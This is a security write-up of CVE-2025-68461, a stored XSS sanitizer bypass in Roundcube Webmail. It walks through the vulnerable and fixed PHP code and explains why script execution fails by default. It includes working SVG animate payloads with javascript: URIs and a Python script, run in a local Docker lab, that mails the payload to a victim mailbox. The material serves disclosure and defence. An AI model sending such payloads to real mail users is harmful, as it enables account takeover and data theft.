Security

Exploit CVE-2025-68461 : Roundcube Webmail SVG Animate XSS Sanitizer Bypass

A technical breakdown of CVE-2025-68461, a CVSS 7.2 high stored Cross-Site Scripting vulnerability in Roundcube Webmail (< 1.5.12 and < 1.6.12). The rcube_washtml sanitizer blocks SVG \ tags that target the href attribute, but the attribute_value() comparison does not strip XML namespace prefixes before matching. An attacker can use attributeName="xlink:href" to bypass the check entirely, delivering unsanitized javascript: URIs in the values attribute directly into the rendered email DOM. JavaScript execution is currently prevented by an accidental namespace corruption in PHP's DOMDocument::loadHTML() which strips the xlink namespace declaration, but the sanitizer bypass is confirmed and the vulnerability remains exploitable under alternative parser configurations such as the Masterminds HTML5 parser or PHP 8.4's Dom\HTMLDocument.

Tue 17 March 2026

CVE-2025-68461

Roundcube Webmail SVG Animate XSS Sanitizer Bypass - PoC & Exploit

December 17, 2025 · CVSS 7.2 High · Roundcube < 1.5.12, < 1.6.12

CVE ID CVSS Affected Fixed
CVE-2025-68461 7.2 High < 1.5.12, < 1.6.12 1.5.12+,1.6.12+

CVE-2025-68461 Overview: XSS via SVG Animate Tag

Roundcube Webmail is a widely deployed open-source webmail client, bundled by default with cPanel and used by universities, enterprises, and government agencies worldwide.

A Stored Cross-Site Scripting (XSS) vulnerability was discovered in how Roundcube's custom HTML sanitizer (rcube_washtml.php) handles SVG <animate> tags. The sanitizer is responsible for stripping dangerous content from HTML emails before rendering them in the user's browser. It correctly identifies and blocks <animate> elements that target the href attribute — a known vector for injecting javascript: URIs via SMIL animation. However, the check fails to account for XML namespace prefixes. When an attacker uses attributeName="xlink:href" instead of attributeName="href", the string comparison fails, the entire <animate> tag passes through the sanitizer untouched, and the javascript: payload in the values attribute is delivered to the browser.

XSS Sanitizer Bypass: Namespace Prefix Evasion

The core of the issue is an incomplete string comparison in the sanitizer's animate tag blocking logic. When the sanitizer encounters SVG animation elements, it checks whether they target the href attribute and blocks them if they do. The check uses a helper function that compares the attributeName value against the literal string "href". This comparison does not strip or normalize XML namespace prefixes, so "xlink:href" does not match "href" and the tag is allowed through.

Vulnerable Code

In rcube_washtml.php, the dumpHtml() method contains the gatekeeper logic for animation elements:

else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
    $dump .= "<!-- {$tagName} blocked -->";
}

The attribute_value() helper performs the comparison:

private static function attribute_value($node, $attr_name, $attr_value)
{
    foreach ($node->attributes as $name => $attr) {
        if (strtolower($name) === $attr_name) {
            $val = strtolower(trim($attr->nodeValue));
            if ($attr_value === $val) {
                return true;
            }
        }
    }
    return false;
}

When attributeName="xlink:href":

  • strtolower(trim("xlink:href")) yields "xlink:href"
  • "href" === "xlink:href" evaluates to false
  • The function returns false, and the entire <animate> tag passes through with its javascript: payload intact

Additionally, the wash_attribs() method has a secondary vulnerable path for from and to attributes on animation elements:

if ($key == 'to' || $key == 'from') {
    $key = strtolower($node->getAttribute('attributeName'));  // "xlink:href"
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;  // "xlink:href" not in allowlist → skip dangerous-attribute check
    }
}

Here, "xlink:href" is not present in the _html_attribs allowlist, so the attribute name is set to null and the dangerous-attribute sanitization is skipped entirely.

What the Sanitizer Outputs

Given the following payload in an HTML email:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>

The sanitizer outputs the <animate> tag and its javascript: payload completely intact. For comparison, the same payload with attributeName="href" is correctly blocked and replaced with <!-- animate blocked -->.

CVE-2025-68461 Proof-of-Concept: Sanitizer Bypass Confirmation

To verify the vulnerability, we utilize a localized environment to demonstrate how the Roundcube sanitizer fails to catch namespace-prefixed attributes with a customized PoC.

Payload Delivery

The payload is delivered by sending an HTML email to the victim's Roundcube mailbox via SMTP.

The test environment uses Docker with Roundcube 1.6.11 and GreenMail as a local mail server, eliminating the need for external SMTP credentials:

  • docker-compose.yml:
version: "3.8"
services:
  greenmail:
    image: greenmail/standalone:2.0.1
    ports:
      - "3025:3025"   # SMTP
      - "3143:3143"   # IMAP
    environment:
      - GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local

  roundcube:
    image: roundcube/roundcubemail:1.6.11-apache
    ports:
      - "8080:80"
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=greenmail
      - ROUNDCUBEMAIL_DEFAULT_PORT=3143
      - ROUNDCUBEMAIL_SMTP_SERVER=greenmail
      - ROUNDCUBEMAIL_SMTP_PORT=3025
    depends_on:
      - greenmail
  • Python script to send the payload:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

PAYLOAD = """\
<html><body>
<p>Please review the attached document:</p>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration:underline;cursor:pointer">Click to view document</text>
  </a>
</svg>
<p>Best regards,<br>Document System</p>
</body></html>"""

msg = MIMEMultipart("alternative")
msg["From"] = "attacker@lab.local"
msg["To"] = "victim@lab.local"
msg["Subject"] = "Document Review Request"
msg.attach(MIMEText("View in HTML mode.", "plain"))
msg.attach(MIMEText(PAYLOAD, "html"))

with smtplib.SMTP("127.0.0.1", 3025) as server:
    server.sendmail("attacker@lab.local", ["victim@lab.local"], msg.as_string())

DOM Verification

Two differential tests confirm the bypass:

Test 1 — attributeName="href" (blocked):

The sanitizer correctly identifies and blocks the <animate> tag. The rendered DOM shows <!-- animate blocked --> in place of the payload:

  • Payload :
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>
  • Result :

Test 2 — attributeName="xlink:href" (bypassed):

The <animate> tag with the full javascript: URI passes through the sanitizer completely intact:

  • Payload :
<svg width="200" height="50">
  <a class="v1a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')"></animate>
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration: underline; cursor: pointer">Click to view document</text>
  </a>
</svg>
  • Result :

Why JavaScript Execution Does Not Occur

Namespace Stripping by dumpHtml()

Roundcube's dumpHtml() method attempts to re-add namespace declarations when serializing SVG elements. This is not a security measure — it exists because PHP's DOMDocument::loadHTML() does not understand XML namespaces and discards them during parsing. The method queries the DOM for any surviving namespaces and re-attaches them:

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $tag .= sprintf(' %s="%s"',
                $ns->nodeName,
                htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
            );
        }
    }
}

The problem is that loadHTML() already discarded the xmlns:xlink="http://www.w3.org/1999/xlink" declaration before this code runs. The XPath query finds no surviving namespaces, so the <svg> tag is output with no namespace attributes at all. The attributeName value "xlink:href" passes through untouched since it's a string inside an attribute value, not a namespace declaration. But the browser has no xlink namespace to resolve it against. The SMIL engine cannot map xlink:href to an animatable property, so animVal remains empty and the javascript: URI is never applied.

Browser Deprecation of xlink:href

The xlink:href attribute is deprecated in SVG 2. SVG 2 removed the need for the xlink namespace entirely — href should be used instead. Modern browsers still support xlink:href for backward compatibility, but only when the xlink namespace is properly declared. Since Roundcube's processing pipeline strips this namespace declaration, the browser cannot resolve xlink:href as an animatable property, and the animation silently fails.

Confirmation

This was confirmed by patching dumpHtml() on the server to force correct namespace declarations:

if ($tagName == 'svg') {
    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';
}

With this patch, clicking the link triggered alert() successfully inside Roundcube. Reverting the patch restored the broken behavior.

The Fix of CVE-2025-68461

Below is a summary of how Roundcube patched a critical attribute filter bypass by normalizing XML namespaces, followed by a guide on using Nuclei to detect vulnerable servers at scale via version-string extraction.

Remediated Code Analysis

The fix adds a namespace prefix stripping step before the comparison:

// BEFORE (vulnerable): raw string comparison
$val = strtolower(trim($attr->nodeValue));
if ($attr_value === $val) {
    return true;
}

// AFTER (fixed): strip namespace prefix before comparison : xlink:href => href
$val = strtolower(trim($attr->nodeValue));
$val = trim(preg_replace('/^.*:/', '', strtolower($attr->nodeValue)));
if ($attr_value === $val) {
    return true;
}

Now "xlink:href" becomes "href" before comparison, and the <animate> tag is correctly blocked.

Detection with Nuclei

A Nuclei template is available for identifying vulnerable Roundcube instances at scale. The template extracts the rcversion integer from the login page JavaScript and compares it against the affected version ranges:

The template matches any Roundcube instance running a version below 1.5.12, or below 1.6.12. No authentication is required — the version is exposed on the login page.

CVE-2025-68461 Mitigation and Best Practices

  • Update Now: Upgrade to Roundcube 1.6.12 or 1.5.12 immediately. These versions contain the fix for CVE-2025-68461.
  • Content Security Policy: Deploy a strict CSP header that disallows javascript: URIs and inline script execution to provide defense-in-depth against XSS.
  • Network Exposure: Restrict public access to webmail interfaces where possible. Roundcube instances are high-value targets for APT groups.
  • Monitor for Exploitation: Watch for emails containing SVG <animate> elements, particularly with xlink:href in the attributeName attribute.

References

Resource Link
Roundcube Security Advisory (1.6.12 / 1.5.12) https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12
Fix Commit bfa032631c https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb
NVD CVE-2025-68461 https://nvd.nist.gov/vuln/detail/CVE-2025-68461
CWE-79: Improper Neutralization of Input During Web Page Generation https://cwe.mitre.org/data/definitions/79.html
Nuclei template https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml